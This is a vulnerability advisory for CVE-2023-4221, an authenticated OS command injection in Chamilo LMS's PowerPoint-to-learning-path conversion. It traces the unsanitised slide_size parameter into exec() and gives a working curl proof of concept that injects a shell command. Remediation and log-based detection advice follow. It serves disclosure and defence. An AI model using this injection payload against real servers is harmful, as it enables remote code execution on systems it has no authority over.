Product | Chamilo |
---|---|
Vendor | Chamilo |
Severity | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
Affected Versions | <= v1.11.24 |
Tested Versions | v1.11.24 (latest version as of writing) |
CVE Identifier | CVE-2023-4221 |
CVE Description | Command injection in main/lp/openoffice_presentation.class.php in Chamilo LMS <= v1.11.24 allows users permitted to upload Learning Paths to obtain remote code execution via improper neutralisation of special characters. |
CWE Classification(s) | CWE-78: Improper Neutralization of Special Elements used in an OS Command |
CAPEC Classification(s) | CAPEC-88 OS Command Injection |
Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:N/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | High |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
There are two command injection vulnerabilities manifesting in main/lp/openoffice_presentation.class.php
(CVE-2023-4221) and main/lp/openoffice_text_document.class.php
(CVE-2023-4222), which appears to be variants of CVE-2023-34960 (unauthenticated command injection in main/webservices/additional_webservices.php
). Consequently, attackers with permissions to upload learning paths may exploit the vulnerability to gain remote code execution.
Note: This advisory details the first command injection vulnerability in main/lp/openoffice_presentation.class.php
(CVE-2023-4221). The advisory for the second command injection vulnerability (variant) in main/lp/openoffice_text_document.class.php
(CVE-2023-4222) can be found here.
The relevant code from main/lp/lp_upload.php
is shown below:
...
elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && count($_FILES) > 0 && !empty($_FILES['user_file']['name'])) {
// A file upload has been detected, now deal with the file...
// Directory creation.
$stopping_error = false;
$s = $_FILES['user_file']['name'];
// Get name of the zip file without the extension.
$info = pathinfo($s);
$filename = $info['basename'];
$extension = $info['extension'];
$file_base_name = str_replace('.'.$extension, '', $filename);
$new_dir = api_replace_dangerous_char(trim($file_base_name));
$type = learnpath::getPackageType($_FILES['user_file']['tmp_name'], $_FILES['user_file']['name']); // [1]
...
switch ($type) {
...
case 'oogie':
require_once 'openoffice_presentation.class.php';
$take_slide_name = empty($_POST['take_slide_name']) ? false : true;
$o_ppt = new OpenofficePresentation($take_slide_name);
$first_item_id = $o_ppt->convert_document($_FILES['user_file'], 'make_lp', $_POST['slide_size']); // [2]
Display::addFlash(Display::return_message(get_lang('UplUploadSucceeded')));
break;
case 'woogie':
require_once 'openoffice_text.class.php';
$split_steps = (empty($_POST['split_steps']) || $_POST['split_steps'] == 'per_page') ? 'per_page' : 'per_chapter';
$o_doc = new OpenofficeText($split_steps);
$first_item_id = $o_doc->convert_document($_FILES['user_file']); // [3]
Display::addFlash(Display::return_message(get_lang('UplUploadSucceeded')));
break;
...
}
}
...
At [1], learnpath::getPackageType()
is invoked to determine if oogie
or woogie
should be used for processing the uploaded file:
class learnpath
{
...
public static function getPackageType($file_path, $file_name)
{
// Get name of the zip file without the extension.
$file_info = pathinfo($file_name);
$extension = $file_info['extension']; // Extension only.
if (!empty($_POST['ppt2lp']) && !in_array(strtolower($extension), [
'dll',
'exe',
])) {
return 'oogie';
}
if (!empty($_POST['woogie']) && !in_array(strtolower($extension), [
'dll',
'exe',
])) {
return 'woogie';
}
...
}
...
}
Observe that so long as the uploaded file extension does not match dll
or exe
, supplying a non-empty ppt2lp
or woogie
POST parameter allows reaching of the respective code paths.
Subsequently, the code will flow to either [2] and [3] where command injection occurs. Note that [2] leads to the first command injection vulnerability (presented in this advisory), and [3] leads to a second command injection (CVE-2023-4222).
At [2], OpenofficePresentation::convert_document()
is invoked. Since OpenofficePresentation
extends from OpenofficeDocument
, OpenofficeDocument::convert_document()
is invoked in absence of an overriden function within the OpenofficePresentation
class:
abstract class OpenofficeDocument extends learnpath
{
...
public function convert_document($file, $action_after_conversion = 'make_lp', $size = null)
{
...
if (!empty($size)) {
list($w, $h) = explode('x', $size); // [4]
if (!empty($w) && !empty($h)) {
$this->slide_width = $w;
$this->slide_height = $h;
}
}
$ppt2lp_host = api_get_setting('service_ppt2lp', 'host');
if ($ppt2lp_host == 'localhost') { // [5]
...
// Call to the function implemented by child.
$cmd .= $this->add_command_parameters(); // [6]
...
$shell = exec($cmd, $files, $return);
...
}
...
}
...
}
At [4], Observe that the user-supplied $size
is split into $this->slide_width
and $this->slide_height
, but they are not type-casted to integers. Subsequently, if service_ppt2lp
configuration option is set to localhost
at [5], OpenofficePresentation::add_command_parameters()
is invoked at [6] to construct $cmd
which is passed to exec()
:
public function add_command_parameters()
{
if (empty($this->slide_width) || empty($this->slide_height)) {
list($this->slide_width, $this->slide_height) = explode('x', api_get_setting('service_ppt2lp', 'size'));
}
return ' -w '.$this->slide_width.' -h '.$this->slide_height.' -d oogie "'.$this->base_work_dir.'/'.$this->file_path.'" "'.$this->base_work_dir.$this->created_dir.'.html"'; // command injection here
}
Since the user-supplied values for $this->slide_width
and $this->slide_height
are unsanitised and may contain shell metacharacters, it is possible to achieve command injection.
The following exploit conditions are identified for successful execution of this exploit scenario reliably:
service_ppt2lp
API configuration option must be set to localhost
.http://<chamilo>/main/admin/configure_extensions.php?display=ppt2lp
) is enabled and that the host
is set to localhost
.ch_sid
session cookie.test
and navigate to http://<chamilo>/courses/TEST/
.$ curl -b 'ch_sid=<ch_sid_value>' -F "user_file=@$(mktemp)" -F 'ppt2lp=y' -F 'slide_size=";x;id > /tmp/rce #"' 'http://<chamilo>/main/lp/lp_upload.php'
/tmp/rce
is created on the target server with the id
shell command output as the file contents.It is recommended to use escapeshellarg()
to properly escape user-input used to construct shell commands.
End users are encouraged to update to the latest version of Chamilo.
It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to:
/main/lp/lp_upload.php
/main/lp/lp_controller.php
/main/upload/upload_ppt.php
/main/upload/upload_upload.php
/main/upload/upload.scorm.php
Successful exploitation of this vulnerability requires a non-empty ppt2lp
POST parameter and the command injection payload to be placed in the slide_size
POST parameter.
Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)